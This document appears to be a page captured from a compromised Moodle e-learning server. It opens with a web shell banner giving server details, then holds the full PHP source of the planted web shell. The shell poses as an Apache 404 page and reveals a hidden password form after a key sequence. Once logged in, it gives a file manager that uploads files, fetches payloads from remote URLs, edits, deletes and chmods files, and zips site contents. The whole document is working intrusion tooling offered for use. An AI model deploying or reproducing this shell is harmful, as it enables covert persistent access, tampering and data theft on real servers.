| Server IP : 41.63.0.143 / Your IP : 216.73.216.184 [ Web Server : Apache/2.4.29 (Ubuntu) System : Linux elearning 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.2.24-0ubuntu0.18.04.17 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/moodle/local/moodle_webshell/ |
Upload File : |
<?php
// ================== CONFIG: PASSWORD (MD5) ==================
declare(strict_types=1);
session_start();
/*
* Set your password here:
* Example: md5("ehsan") = daa81269f3781c29aa5f4ef2b4617d2c
* Change FM_PASS_MD5 to your own MD5 hash.
*/
const FM_PASS_MD5 = 'daa81269f3781c29aa5f4ef2b4617d2c'; // TODO: change to your own
$authed = isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
$loginError = '';
// Handle password submit (from fake 404 hidden form)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$authed && isset($_POST['password'])) {
$password = (string)$_POST['password'];
if (md5($password) === FM_PASS_MD5) {
$_SESSION['fm_auth'] = true;
// Redirect to same URL (avoid form resubmit)
$qs = isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] !== '' ? '?' . $_SERVER['QUERY_STRING'] : '';
header('Location: ' . ($_SERVER['PHP_SELF'] ?? '') . $qs);
exit;
} else {
$loginError = 'Invalid password.';
}
}
// If not authenticated, show fake 404 page and exit
if (!$authed) {
http_response_code(404);
$reqUri = htmlspecialchars($_SERVER['REQUEST_URI'] ?? '', ENT_QUOTES);
$loginErrorHtml = $loginError !== ''
? '<div style="margin-top:8px;font-size:11px;color:#ff8a8a;">' . htmlspecialchars($loginError, ENT_QUOTES) . '</div>'
: '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>404 Not Found</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
:root{
--neon-pink: #ff4bce;
--neon-cyan: #3cf2ff;
--neon-yellow: #ffe96b;
--deep-purple: #100020;
--card-bg: rgba(10, 5, 25, 0.9);
}
*{
box-sizing:border-box;
margin:0;
padding:0;
}
body{
min-height:100vh;
font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
background:
radial-gradient(circle at 10% 20%, #280045 0, transparent 55%),
radial-gradient(circle at 90% 80%, #0f3443 0, transparent 55%),
radial-gradient(circle at 50% 0%, #350048 0, #050011 70%);
color:#eee;
display:flex;
align-items:center;
justify-content:center;
overflow:hidden;
}
.aurora {
position:fixed;
inset:-20%;
pointer-events:none;
background:
radial-gradient(circle at 20% 30%, rgba(255,75,206,0.20) 0, transparent 60%),
radial-gradient(circle at 80% 70%, rgba(60,242,255,0.18) 0, transparent 55%),
radial-gradient(circle at 50% 100%, rgba(255,233,107,0.12) 0, transparent 65%);
mix-blend-mode:screen;
filter:blur(1px);
animation: auroraMove 18s linear infinite alternate;
z-index:0;
}
@keyframes auroraMove {
0% { transform:translate3d(0,0,0) scale(1); }
50% { transform:translate3d(20px,-30px,0) scale(1.05); }
100% { transform:translate3d(-25px,25px,0) scale(1.03); }
}
.wrapper{
position:relative;
z-index:1;
max-width:520px;
width:90%;
padding:24px;
}
.card{
background:var(--card-bg);
border-radius:18px;
padding:28px 24px 22px;
box-shadow:
0 0 24px rgba(0,0,0,0.7),
0 0 32px rgba(255,75,206,0.25),
0 0 40px rgba(60,242,255,0.18);
border:1px solid rgba(255,255,255,0.08);
backdrop-filter: blur(16px);
position:relative;
overflow:hidden;
}
.card::before{
content:"";
position:absolute;
inset:-1px;
border-radius:inherit;
border:1px solid transparent;
background:
linear-gradient(120deg, rgba(255,75,206,0.8), rgba(60,242,255,0.8), rgba(255,233,107,0.9))
border-box;
mask:
linear-gradient(#000 0 0) padding-box,
linear-gradient(#000 0 0);
mask-composite: exclude;
pointer-events:none;
opacity:0.35;
}
.label-chip{
display:inline-flex;
align-items:center;
gap:6px;
font-size:11px;
text-transform:uppercase;
letter-spacing:.16em;
color:rgba(255,255,255,0.7);
padding:4px 9px;
border-radius:999px;
border:1px solid rgba(255,255,255,0.18);
background:rgba(0,0,0,0.35);
margin-bottom:14px;
}
.label-dot{
width:7px;
height:7px;
border-radius:999px;
background:radial-gradient(circle, #00ff8c 0, #008a4c 40%, transparent 70%);
box-shadow:0 0 8px rgba(0,255,140,0.9);
}
.code-404{
font-size:64px;
line-height:1;
font-weight:800;
letter-spacing:.1em;
text-transform:uppercase;
margin-bottom:8px;
background:linear-gradient(120deg,var(--neon-cyan),var(--neon-pink),var(--neon-yellow));
-webkit-background-clip:text;
color:transparent;
text-shadow:
0 0 12px rgba(60,242,255,0.7),
0 0 18px rgba(255,75,206,0.7);
}
.headline{
font-size:18px;
margin-bottom:8px;
color:#f7f7f7;
}
.desc{
font-size:13px;
line-height:1.6;
color:rgba(230,230,230,0.85);
margin-bottom:18px;
}
.desc span.url{
color:var(--neon-cyan);
word-break:break-all;
}
.hint{
font-size:11px;
color:rgba(200,200,200,0.65);
display:flex;
justify-content:space-between;
align-items:center;
gap:8px;
}
.hint-badge{
padding:3px 8px;
border-radius:999px;
border:1px dashed rgba(255,255,255,0.25);
font-size:10px;
color:rgba(255,255,255,0.7);
}
.password-panel{
margin-top:18px;
padding-top:14px;
border-top:1px dashed rgba(255,255,255,0.15);
display:none;
opacity:0;
transform:translateY(6px);
transition:opacity .3s ease, transform .3s ease;
}
.password-panel.show{
display:block;
opacity:1;
transform:translateY(0);
}
.password-label{
font-size:12px;
margin-bottom:6px;
color:rgba(255,255,255,0.8);
}
.password-row{
display:flex;
gap:8px;
align-items:center;
}
.password-input{
flex:1;
padding:7px 10px;
border-radius:999px;
border:1px solid rgba(255,255,255,0.25);
background:rgba(5,0,20,0.85);
color:#f5f5f5;
font-size:13px;
outline:none;
transition:border .2s ease, box-shadow .2s ease, background .2s ease;
}
.password-input:focus{
border-color:var(--neon-cyan);
box-shadow:0 0 0 1px rgba(60,242,255,0.45);
background:rgba(5,0,25,0.95);
}
.password-btn{
padding:7px 14px;
border-radius:999px;
border:1px solid rgba(255,255,255,0.4);
background:radial-gradient(circle at 0 0, var(--neon-cyan), var(--neon-pink));
color:#050010;
font-size:12px;
font-weight:600;
cursor:pointer;
box-shadow:
0 0 10px rgba(60,242,255,0.6),
0 0 16px rgba(255,75,206,0.45);
transition:transform .15s ease, box-shadow .15s ease, filter .15s ease;
white-space:nowrap;
}
.password-btn:hover{
transform:translateY(-1px);
filter:brightness(1.05);
box-shadow:
0 0 14px rgba(60,242,255,0.9),
0 0 20px rgba(255,75,206,0.75);
}
.password-btn:active{
transform:translateY(0);
filter:brightness(0.95);
}
.footer{
margin-top:10px;
font-size:10px;
text-align:right;
color:rgba(200,200,200,0.5);
}
.footer span{
color:var(--neon-pink);
}
@media (max-width:480px){
.code-404{ font-size:46px; }
.headline{ font-size:16px; }
.wrapper{ padding:18px; }
.card{ padding:20px 18px 16px; }
}
</style>
</head>
<body>
<div class="aurora"></div>
<div class="wrapper">
<div class="card">
<div class="label-chip">
<span class="label-dot"></span>
<span>Server Response · 404</span>
</div>
<div class="code-404">404</div>
<div class="headline">Page not found</div>
<p class="desc">
The URL you requested is not available on this server.
If you believe this is an error, please contact the server administrator or double-check:
<span class="url"><?php echo $reqUri; ?></span>.
</p>
<div class="hint">
<span>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</span>
<span class="hint-badge">Apache</span>
</div>
<!-- Hidden password panel (appear after pressing key "5" three times) -->
<form class="password-panel" id="passwordPanel" method="post" action="">
<div class="password-label">Authorized access only</div>
<div class="password-row">
<input type="password" name="password" id="secretPassword"
class="password-input"
placeholder="Enter password…">
<button type="submit" class="password-btn">Enter</button>
</div>
<?php echo $loginErrorHtml; ?>
</form>
<div class="footer">
<span>Contact</span> · Administrator
</div>
</div>
</div>
<script>
// Press key "5" three times in a row to reveal password form
(function(){
let count = 0;
const targetKey = '5';
const panel = document.getElementById('passwordPanel');
const pwdInput = document.getElementById('secretPassword');
window.addEventListener('keydown', function(e){
if (e.ctrlKey || e.altKey || e.metaKey) return;
if (e.key === targetKey) {
count++;
if (count >= 3) {
if (!panel.classList.contains('show')) {
panel.classList.add('show');
setTimeout(() => { if (pwdInput) pwdInput.focus(); }, 180);
}
count = 0;
}
} else {
count = 0;
}
});
})();
</script>
</body>
</html>
<?php
exit;
}
// ================== AUTH OK → FILE MANAGER STARTS HERE ==================
// Root = web root (DOCUMENT_ROOT) to avoid leaking absolute paths
$root = realpath($_SERVER['DOCUMENT_ROOT'] ?? getcwd()) ?: getcwd();
// Active path from ?rel= (relative to $root)
$relReq = isset($_GET['rel']) ? trim((string)$_GET['rel'], "/") : '';
$path = realpath($root . DIRECTORY_SEPARATOR . $relReq);
if (!$path || !is_dir($path) || strpos($path, $root) !== 0) {
$path = $root; // safe fallback
}
// ==== helpers ====
function safe_path($p){ return htmlspecialchars((string)$p, ENT_QUOTES); }
// absolute → relative from $root (no leading slash)
function rel_from_root(string $abs): string {
global $root;
$rel = ltrim(str_replace($root, '', $abs), DIRECTORY_SEPARATOR);
return $rel;
}
// For title display
function relative_path(string $abs): string {
$rel = rel_from_root($abs);
return '/' . ($rel === '' ? '' : $rel);
}
function format_size($bytes){
$u=['B','KB','MB','GB','TB']; $i=0;
while($bytes>=1024 && $i<count($u)-1){ $bytes/=1024; $i++; }
return round($bytes,2).' '.$u[$i];
}
function format_date($ts){ return $ts ? date('Y-m-d H:i:s', (int)$ts) : '-'; } // server TZ
function get_perm($f){ return sprintf('%04o', @fileperms($f) & 0x0FFF); }
function get_user_group($f){
$uid = @fileowner($f); $gid = @filegroup($f);
$user = ($uid!==false && function_exists('posix_getpwuid')) ? (posix_getpwuid($uid)['name'] ?? $uid) : $uid;
$grp = ($gid!==false && function_exists('posix_getgrgid')) ? (posix_getgrgid($gid)['name'] ?? $gid) : $gid;
if ($user===false) $user='?'; if ($grp===false) $grp='?';
return $user.':'.$grp;
}
function redirect_msg(string $p, string $msg, string $type='info'){
// Always redirect with rel=
$q = http_build_query(['rel'=> rel_from_root($p), 'msg'=>$msg, 'type'=>$type]);
header("Location:?$q"); exit;
}
function unique_path(string $p): string{
if (!file_exists($p)) return $p;
$dir = dirname($p);
$base = pathinfo($p, PATHINFO_FILENAME);
$ext = pathinfo($p, PATHINFO_EXTENSION);
$i=1; do{
$cand = $dir.DIRECTORY_SEPARATOR.$base.'_'.$i.($ext?'.'.$ext:'');
$i++;
} while(file_exists($cand));
return $cand;
}
// ==== HOME button: folder where this file is located ====
$__selfAbs = realpath(__DIR__);
$homeRel = ($__selfAbs && strpos($__selfAbs, $root) === 0) ? rel_from_root($__selfAbs) : '';
// ===== Server clock info (header clock) =====
$serverNow = time();
$serverTzName = date_default_timezone_get();
$serverOffset = (new DateTime('now'))->getOffset();
function tz_offset_hm(int $sec){
$sign = $sec>=0 ? '+' : '-'; $sec = abs($sec);
$h = str_pad((string)intdiv($sec,3600),2,'0',STR_PAD_LEFT);
$m = str_pad((string)intdiv($sec%3600,60),2,'0',STR_PAD_LEFT);
return "UTC{$sign}{$h}:{$m}";
}
// ===== ZIP helpers =====
function zip_create(string $source, string $zipPath): bool{
if (!class_exists('ZipArchive')) return false;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE)!==true) return false;
$source = rtrim($source, DIRECTORY_SEPARATOR);
$zipReal = realpath($zipPath) ?: $zipPath;
if (is_dir($source)) {
$rootName = basename($source) ?: 'root';
$zip->addEmptyDir($rootName);
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($source, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($it as $fsInfo) {
$fp = $fsInfo->getPathname();
if (realpath($fp) === $zipReal) continue; // avoid archiving the zip itself
$local = $rootName . DIRECTORY_SEPARATOR . ltrim(str_replace($source, '', $fp), DIRECTORY_SEPARATOR);
if ($fsInfo->isDir()) $zip->addEmptyDir($local);
else $zip->addFile($fp, $local);
}
} else {
$zip->addFile($source, basename($source));
}
return $zip->close();
}
function zip_extract_to_folder(string $zipFile, string $targetDir): bool{
if (!class_exists('ZipArchive')) return false;
$zip = new ZipArchive();
if ($zip->open($zipFile)!==true) return false;
if (!is_dir($targetDir)) @mkdir($targetDir, 0755);
$ok = $zip->extractTo($targetDir);
$zip->close();
return $ok;
}
// ===== Actions (early exit) =====
// Download (?download= RELATIVE)
if (isset($_GET['download'])) {
$rel = trim((string)$_GET['download'], '/');
$file = realpath($root . DIRECTORY_SEPARATOR . $rel);
if ($file && strpos($file,$root)===0 && is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: '.filesize($file));
readfile($file); exit;
}
http_response_code(403); header('Content-Type: text/plain; charset=utf-8');
echo "Download not allowed."; exit;
}
// Serve content to editor (?edit= RELATIVE)
if (isset($_GET['edit'])) {
$rel = trim((string)$_GET['edit'], '/');
$file = realpath($root . DIRECTORY_SEPARATOR . $rel);
if ($file && strpos($file,$root)===0 && is_file($file)) {
header('Content-Type: text/plain; charset=utf-8');
readfile($file); exit;
}
http_response_code(403); header('Content-Type: text/plain; charset=utf-8');
echo "Access denied"; exit;
}
// Create file / folder
if (isset($_POST['create_type'], $_POST['create_name'])) {
$name = basename($_POST['create_name']);
$t = $path.DIRECTORY_SEPARATOR.$name;
$ok = false;
if (is_dir($path)) {
if ($_POST['create_type']==='folder' && !file_exists($t)) $ok = @mkdir($t,0755);
if ($_POST['create_type']==='file' && !file_exists($t)) $ok = (@file_put_contents($t,'')!==false);
}
redirect_msg(
$path,
$ok
? "Successfully created {$_POST['create_type']} '$name'."
: "Failed to create '{$_POST['create_type']}' '$name'.",
$ok ? 'success' : 'error'
);
}
// Rename
if (isset($_POST['rename_old'], $_POST['rename_new'])) {
$old = realpath($path.DIRECTORY_SEPARATOR.$_POST['rename_old']);
$newName = basename($_POST['rename_new']);
$new = $path.DIRECTORY_SEPARATOR.$newName;
$ok = false;
if ($old && strpos($old,$root)===0) $ok = @rename($old,$new);
redirect_msg($path, $ok? "Successfully renamed to '$newName'." : "Rename failed.", $ok?'success':'error');
}
// Save Edit (POST: edit_file = RELATIVE)
if (isset($_POST['edit_file'], $_POST['content'])) {
$f_rel = ltrim((string)$_POST['edit_file'],'/');
$f = realpath($root . DIRECTORY_SEPARATOR . $f_rel);
$ok = false;
if ($f && strpos($f,$root)===0) $ok = (@file_put_contents($f, $_POST['content'])!==false);
$back = dirname($f?:$path);
redirect_msg($back, $ok? "Saved '".basename($f)."' successfully." : "Failed to save file.", $ok?'success':'error');
}
// Local upload
if (!empty($_FILES['upload']['tmp_name']) && $_FILES['upload']['error']===UPLOAD_ERR_OK) {
$t = $path.DIRECTORY_SEPARATOR.basename($_FILES['upload']['name']);
$ok = @move_uploaded_file($_FILES['upload']['tmp_name'],$t);
redirect_msg($path, $ok? "Upload succeeded: '".basename($t)."'." : "Upload failed.", $ok?'success':'error');
}
// Upload from URL
if (!empty($_POST['remote_url'])) {
$url = $_POST['remote_url'];
$fn = basename(parse_url($url, PHP_URL_PATH) ?? '') ?: 'remote_'.time();
$t = $path.DIRECTORY_SEPARATOR.$fn;
$c = @file_get_contents($url);
$ok = false;
if ($c!==false) $ok = (@file_put_contents($t,$c)!==false);
redirect_msg($path, $ok? "Downloaded from URL successfully: '$fn'." : "Failed to download from URL.", $ok?'success':'error');
}
// Delete
if (isset($_GET['delete'])) {
$targetName = $_GET['delete'];
$t = realpath($path.DIRECTORY_SEPARATOR.$targetName);
$ok = false;
if ($t && strpos($t,$root)===0) { $ok = is_dir($t)? @rmdir($t) : @unlink($t); }
redirect_msg($path, $ok? "Deleted '$targetName' successfully." : "Failed to delete '$targetName'.", $ok?'success':'error');
}
// Change Permission (chmod) — target RELATIVE from root
if (isset($_POST['chmod_target'], $_POST['chmod_mode'])) {
$target = realpath($root . DIRECTORY_SEPARATOR . ltrim((string)$_POST['chmod_target'],'/'));
$modeIn = trim((string)$_POST['chmod_mode']);
$ok = false; $msg = "Failed to change permission.";
if ($target && strpos($target,$root)===0 && preg_match('/^[0-7]{3,4}$/', $modeIn)) {
$oct = strlen($modeIn)===3 ? '0'.$modeIn : $modeIn;
$ok = @chmod($target, octdec($oct));
$now = $ok ? get_perm($target) : $modeIn;
$msg = $ok ? "Permission for '".basename($target)."' changed to $now." : "Failed to chmod to $modeIn.";
}
redirect_msg($path, $msg, $ok?'success':'error');
}
// ZIP: zip current directory (toolbar)
if (isset($_GET['zipdir'])) {
$base = basename($path) ?: 'root';
$zipPath = unique_path($path.DIRECTORY_SEPARATOR.$base.'.zip');
$ok = zip_create($path, $zipPath);
$msg = $ok ? "Compressed this folder → '".basename($zipPath)."'." : "Failed to compress this folder. (ZipArchive?)";
redirect_msg($path, $msg, $ok?'success':'error');
}
// UNZIP (toolbar)
if (isset($_GET['unzip'])) {
$name = basename($_GET['unzip']);
$zipf = realpath($path.DIRECTORY_SEPARATOR.$name);
$ok=false;
if ($zipf && strpos($zipf,$root)===0 && is_file($zipf) && preg_match('/\.zip$/i',$zipf)) {
$target = unique_path($path.DIRECTORY_SEPARATOR.pathinfo($zipf, PATHINFO_FILENAME));
$ok = zip_extract_to_folder($zipf, $target);
$msg = $ok ? "Unzipped '$name' → '".basename($target)."/'." : "Failed to unzip '$name'.";
redirect_msg($path, $msg, $ok?'success':'error');
}
if (isset($_GET['unzip']) && $_GET['unzip']==='') redirect_msg($path, "Please select a .zip file first.", 'error');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<style>
body { font-family: Arial, sans-serif; padding: 20px; background: #1e1e1e; color: #ddd; }
a { color: #4da3ff; text-decoration: none; }
table { width: 100%; border-collapse: collapse; background: #2c2c2c; table-layout: fixed; }
th, td { padding: 10px; border-bottom: 1px solid #444; vertical-align: middle; }
th { text-align: left; background: #252525; }
tr:hover { background: #333; }
.folder { font-weight: bold; }
.modal {
display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.8); align-items: center; justify-content: center; z-index: 10;
}
.modal-content {
background: #2c2c2c; padding: 20px; border-radius: 8px; width: 520px; color: #ddd;
box-shadow: 0 10px 30px rgba(0,0,0,.5);
}
.modal textarea {
width: 100%; height: 300px; font-family: monospace;
background: #1e1e1e; color: #ccc; border: 1px solid #555;
}
input[type="text"], input[type="url"], input[type="file"], select, button {
background: #1e1e1e; color: #ddd; border: 1px solid #555; padding: 6px 10px; border-radius: 6px;
}
button { margin-top: 10px; cursor: pointer; }
.inline { display: inline-block; }
.btn {
display:inline-block; padding:6px 10px; border:1px solid #555;
border-radius:6px; text-decoration:none; background:#1e1e1e;
}
.btn:hover { background:#242424; }
.fa-folder { color: #f4d03f; }
.fa-file { color: #ecf0f1; }
.fa-arrow-left { color: #5dade2; }
.fa-upload { color: #58d68d; }
.fa-globe { color: #85c1e9; }
.fa-pen, .fa-edit { color: #f39c12; }
.fa-trash { color: #e74c3c; }
.fa-download { color: #3498db; }
.fa-plus { color: #ffffff; }
.fa-folder-open { color: #f7dc6f; }
.fa-file-zipper { color: #f1c40f; }
.fa-box-open { color: #58d68d; }
.alert {
border-radius: 8px; padding: 10px 14px; margin: 10px 0 16px;
display: flex; align-items: center; gap: 10px;
}
.alert-success { background:#0e3b1e; border:1px solid #1f8a49; color:#b7ffd3; }
.alert-error { background:#3b0e0e; border:1px solid #b44141; color:#ffd2d2; }
.alert-info { background:#0e213b; border:1px solid #4177b4; color:#cfe4ff; }
.alert .close { margin-left:auto; cursor:pointer; opacity:.8; }
.col-name { width: 36%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.col-date { width: 19%; }
.col-size { width: 10%; text-align: right; }
.col-user { width: 22%; white-space: normal; overflow-wrap: anywhere; }
.col-perm { width: 7%; text-align: center; font-family: monospace; }
.col-acts { width: 6%; text-align: right; }
.perm-btn { cursor: pointer; padding: 2px 6px; border-radius: 4px; border: 1px dashed #666; }
.perm-btn:hover { background:#1b1b1b; }
.tag { font-family: monospace; }
.server-clock {
position: fixed; top: 8px; right: 20px; z-index: 20;
background:#0e213b; border:1px solid #4177b4; color:#cfe4ff;
padding:6px 10px; border-radius:8px; font-variant-numeric: tabular-nums;
box-shadow: 0 6px 18px rgba(0,0,0,.35);
}
</style>
</head>
<body>
<div class="server-clock">
<i class="fa fa-clock"></i>
<span id="serverClock">--:--:--</span>
<small style="opacity:.75">
(<?= safe_path($serverTzName) ?> / <?= tz_offset_hm($serverOffset) ?>)
</small>
</div>
<h2 style="margin-top:32px;"><i class="fa fa-folder-open"></i> File Manager – <?= safe_path(relative_path($path)) ?></h2>
<?php if (!empty($_GET['msg'])):
$type = $_GET['type'] ?? 'info';
$cls = 'alert-info';
if ($type==='success') $cls='alert-success';
elseif ($type==='error') $cls='alert-error';
?>
<div id="flash" class="alert <?=$cls?>">
<i class="fa <?= $type==='success'?'fa-check-circle':($type==='error'?'fa-times-circle':'fa-info-circle') ?>"></i>
<span><?= safe_path($_GET['msg']) ?></span>
<span class="close" onclick="dismissFlash()">✕</span>
</div>
<?php endif; ?>
<p style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
<?php if ($homeRel !== ''): ?>
<a class="btn" href="?rel=<?= urlencode($homeRel) ?>"><i class="fa fa-house"></i> Home</a>
<?php endif; ?>
<?php if ($path !== $root): ?>
<a class="btn" href="?rel=<?=urlencode(rel_from_root(dirname($path)))?>"><i class="fa fa-arrow-left"></i> Back</a>
<?php endif; ?>
<form method="post" enctype="multipart/form-data" class="inline">
<label><i class="fa fa-upload"></i> Upload: <input type="file" name="upload" onchange="this.form.submit()"></label>
</form>
<form method="post" class="inline" style="display:flex;gap:8px;align-items:center;">
<label><i class="fa fa-globe"></i> URL: <input type="url" name="remote_url" placeholder="https://…" required></label>
<button><i class="fa fa-paper-plane"></i> Fetch</button>
</form>
<span style="flex:1 1 0;"></span>
<button onclick="openCreate('folder')"><i class="fa fa-folder"></i> New Folder</button>
<button onclick="openCreate('file')"><i class="fa fa-file"></i> New File</button>
<a class="btn" href="?rel=<?=urlencode(rel_from_root($path))?>&zipdir=1" onclick="return confirm('Zip all contents in this folder?');"><i class="fa fa-file-zipper"></i> Zip</a>
<button onclick="openUnzip()" title="Unzip .zip file in this folder"><i class="fa fa-box-open"></i> Unzip</button>
</p>
<table>
<tr>
<th class="col-name">Name</th>
<th class="col-date">Date</th>
<th class="col-size">Size</th>
<th class="col-user">User / Group</th>
<th class="col-perm">Perm</th>
<th class="col-acts">Actions</th>
</tr>
<?php
$items = @scandir($path) ?: [];
$dirs=[]; $files=[];
foreach($items as $i) if($i!=='.' && $i!=='..'){
$full = realpath($path.DIRECTORY_SEPARATOR.$i);
if(!$full) continue;
if (is_dir($full)) $dirs[]=['n'=>$i,'f'=>$full];
else $files[]=['n'=>$i,'f'=>$full];
}
// row render helper
function row_dir($d,$path){
$perm = get_perm($d['f']);
$ug = safe_path(get_user_group($d['f']));
$name = safe_path($d['n']);
$purl = urlencode($d['n']);
$mtime = @filemtime($d['f']);
echo "<tr>";
echo "<td class='col-name folder'><i class='fa fa-folder'></i> <a href='?rel=".urlencode(rel_from_root($d['f']))."'>$name</a></td>";
echo "<td class='col-date'>".format_date($mtime)."</td>";
echo "<td class='col-size'>-</td>";
echo "<td class='col-user' title='$ug'>$ug</td>";
echo "<td class='col-perm'><span class='perm-btn tag' onclick=\"openPerm('".addslashes(rel_from_root($d['f']))."','$perm')\">$perm</span></td>";
echo "<td class='col-acts'>
<a href='?rel=".urlencode(rel_from_root($path))."&delete=$purl' onclick='return confirm(\"Delete this folder?\")' title='Delete'><i class='fa fa-trash'></i></a> |
<a href='#' onclick=\"openRename('$name')\" title='Rename'><i class='fa fa-edit'></i></a>
</td>";
echo "</tr>";
}
function row_file($f,$path){
$perm = get_perm($f['f']);
$ug = safe_path(get_user_group($f['f']));
$name = safe_path($f['n']);
$purl = urlencode($f['n']);
$size = @filesize($f['f']); $size = $size===false? 0 : $size;
$mtime = @filemtime($f['f']);
echo "<tr>";
echo "<td class='col-name'><i class='fa fa-file'></i> $name</td>";
echo "<td class='col-date'>".format_date($mtime)."</td>";
echo "<td class='col-size'>".format_size($size)."</td>";
echo "<td class='col-user' title='$ug'>$ug</td>";
echo "<td class='col-perm'><span class='perm-btn tag' onclick=\"openPerm('".addslashes(rel_from_root($f['f']))."','$perm')\">$perm</span></td>";
echo "<td class='col-acts'>
<a href='#' onclick=\"openEdit('".addslashes(rel_from_root($f['f']))."')\" title='Edit'><i class='fa fa-pen'></i></a> |
<a href='?download=".urlencode(rel_from_root($f['f']))."' title='Download'><i class='fa fa-download'></i></a> |
<a href='?rel=".urlencode(rel_from_root($path))."&delete=$purl' onclick='return confirm(\"Delete this file?\")' title='Delete'><i class='fa fa-trash'></i></a> |
<a href='#' onclick=\"openRename('$name')\" title='Rename'><i class='fa fa-edit'></i></a>
</td>";
echo "</tr>";
}
foreach($dirs as $d) row_dir($d,$path);
foreach($files as $f) row_file($f,$path);
$zipOptions = '';
foreach ($files as $f) {
if (preg_match('/\.zip$/i', $f['n'])) {
$z = safe_path($f['n']);
$zipOptions .= "<option value=\"{$z}\">{$z}</option>";
}
}
?>
</table>
<!-- Rename Modal -->
<div id="modalRename" class="modal">
<div class="modal-content">
<h3><i class="fa fa-edit"></i> Rename</h3>
<form method="post">
<input type="hidden" name="rename_old" id="rename_old">
<input type="text" name="rename_new" id="rename_new" placeholder="New name">
<div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
<button>Rename</button>
<button type="button" onclick="closeModal('modalRename')">Cancel</button>
</div>
</form>
</div>
</div>
<!-- Edit Modal -->
<div id="modalEdit" class="modal">
<div class="modal-content">
<h3><i class="fa fa-pen"></i> Edit File</h3>
<form method="post">
<textarea name="content" id="edit_content"></textarea>
<input type="hidden" name="edit_file" id="edit_file">
<div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
<button>Save</button>
<button type="button" onclick="closeModal('modalEdit')">Cancel</button>
</div>
</form>
</div>
</div>
<!-- Create Modal -->
<div id="modalCreate" class="modal">
<div class="modal-content">
<h3 id="createTitle"><i class="fa fa-plus"></i> Create</h3>
<form method="post">
<input type="text" name="create_name" id="create_name" placeholder="Name">
<input type="hidden" name="create_type" id="create_type">
<div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
<button>Create</button>
<button type="button" onclick="closeModal('modalCreate')">Cancel</button>
</div>
</form>
</div>
</div>
<!-- Unzip Modal -->
<div id="modalUnzip" class="modal">
<div class="modal-content">
<h3><i class="fa fa-box-open"></i> Unzip File</h3>
<form method="get">
<input type="hidden" name="rel" value="<?= safe_path(rel_from_root($path)) ?>">
<?php if ($zipOptions): ?>
<label>Select .zip file in this folder:</label><br>
<select name="unzip" style="min-width:300px"><?= $zipOptions ?></select>
<div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
<button>Unzip</button>
<button type="button" onclick="closeModal('modalUnzip')">Cancel</button>
</div>
<?php else: ?>
<p style="margin:0 0 10px">No .zip files in this folder.</p>
<div style="display:flex;gap:10px;justify-content:flex-end">
<button type="button" onclick="closeModal('modalUnzip')">Close</button>
</div>
<?php endif; ?>
</form>
</div>
</div>
<!-- Permission Modal -->
<div id="modalPerm" class="modal">
<div class="modal-content">
<h3><i class="fa fa-key"></i> Change Permission (chmod)</h3>
<form method="post" onsubmit="return validatePerm();">
<input type="hidden" name="chmod_target" id="chmod_target">
<label>Warning: changing permissions can break your site. Be sure about the value.</label><br>
<input type="text" name="chmod_mode" id="chmod_mode" value="0755" pattern="[0-7]{3,4}" required>
<div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
<button>Save</button>
<button type="button" onclick="closeModal('modalPerm')">Cancel</button>
</div>
</form>
<p style="opacity:.7; font-size:12px; margin-top:8px;">
@hcxseo420
</p>
</div>
</div>
<script>
function openRename(n){
document.getElementById('rename_old').value = n;
document.getElementById('rename_new').value = n;
document.getElementById('modalRename').style.display = 'flex';
}
function openEdit(relPath){
fetch('?edit='+encodeURIComponent(relPath))
.then(r=>r.text())
.then(t=>{
document.getElementById('edit_content').value = t;
document.getElementById('edit_file').value = relPath;
document.getElementById('modalEdit').style.display = 'flex';
});
}
function openCreate(type){
document.getElementById('create_type').value = type;
document.getElementById('createTitle').innerHTML =
(type==='folder' ? "<i class='fa fa-folder'></i> Create Folder" : "<i class='fa fa-file'></i> Create File");
document.getElementById('create_name').value = '';
document.getElementById('modalCreate').style.display = 'flex';
}
function openPerm(relPath,current){
document.getElementById('chmod_target').value = relPath;
document.getElementById('chmod_mode').value = current;
document.getElementById('modalPerm').style.display = 'flex';
}
function validatePerm(){
const v = document.getElementById('chmod_mode').value.trim();
if(!/^[0-7]{3,4}$/.test(v)){ alert('Enter octal mode (3-4 digits), e.g. 755 or 0755'); return false; }
return true;
}
function closeModal(id){ document.getElementById(id).style.display = 'none'; }
